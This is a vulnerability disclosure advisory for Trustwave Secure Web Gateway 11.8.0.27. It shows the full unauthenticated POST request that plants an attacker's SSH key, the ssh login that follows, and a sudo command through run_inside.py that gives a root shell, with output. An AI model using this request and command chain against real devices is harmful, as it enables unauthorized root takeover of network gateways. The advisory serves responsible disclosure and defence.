SSD Advisory – Trustwave SWG Unauthorized Access

[Maor Shwartz <maors () beyondsecurity com>]

SSD Advisory – Trustwave SWG Unauthorized Access

https://blogs.securiteam.com/index.php/archives/3550

Vulnerability Summary
The following advisory describes an unauthorized access vulnerability that
allows an unauthenticated user to add their own SSH key to a remote
Trustwave SWG version 11.8.0.27.

Trustwave Secure Web Gateway (SWG) “provides distributed enterprises
effective real-time protection against dynamic new malware, strong policy
enforcement, and a unique Zero-Malware Guarantee when managed for you by
our experts.”

Credit
An independent security researcher has reported this vulnerability to
Beyond Security’s SecuriTeam Secure Disclosure program.

Vendor response
Trustwave was informed of the vulnerability, and released the following
advisory:
https://www.trustwave.com/Resources/Trustwave-Software-Updates/Important-Security-Update-for-Trustwave-Secure-Web-Gateway/

Vulnerability details
Trustwave SWG allows remote attackers to send to the SWG product a SSH key
that will be used by the SWG product as the SSH key to logon to the device.

This allows unauthenticated user to send a POST request to /sendKey

===

POST /sendKey HTTP/1.1
Host: trustwave.device:5222
Content-Length: 558
content-type: multipart/form-data
user-agent: libwww-perl/6.15
Connection: close

--xYzZY
Content-Disposition: form-data; name="publicKey";
filename="public_key_to_send"
Content-Type: text/plain

ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQDFxLGHCIST4jLDreJoQZnIZX6Fcx/ZyM1dzR2ZSwPG7UC3GYs61/cRGFvL9yuPZwIn8f/p9MCMoKHIG1gNZu0i7pqqZgB5vL+Dbf1vXl4PLY0wwcNMyVUBJaTSHdHSqe1KGBcM/1/gMsGpgcOJw2XMNubmXZxRSFSQLca1BsDmEyPF1KVpGfk60GtEH+c5E6ScEaTP7h0NcM6zEl9gubO2R+cq9FsPcMwF4bdsxyEZYGtVdS8B4goewEt1Nj+1hAzBWGox+hySee0QshZFAvZUrfcn4TsOd1iT95jAFoIDReQn781hmT6YQBpnl7HbDp6otyXAxrsvMOg1fvriAzHv
rsyncuser
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
--xYzZY--
===

Which will add the supplied ssh key to Trustwave SWG, which we can use it
to login to the device:

===
 /usr/bin/ssh -q -o PasswordAuthentication=no -o StrictHostKeyChecking=no
-o ConnectTimeout=3 -o ServerAliveInterval=10 -i ./test.key
commander@trustwave.device
Last login: Fri Aug 25 9:01:23 2017 from x.x.x.x
SWG Version               : 11.8.0.27
SWG Maintenance Release   : 0
Role                      : vs
Machine Type              : NG-6000
===

If we will run the id command via ssh we will get the following response:

===
-sh-4.1$ id
uid=1000(rsyncuser) gid=48(apache) groups=48(apache)
===

Once we connected to Trustwave SWG via SSH we can run commands as root by
accessing /opt/finjan/msh/run_inside.py

===
# sudo /opt/finjan/msh/run_inside.py bash
bash-4.1# id
uid=0(root) gid=0(root) groups=0(root)
===

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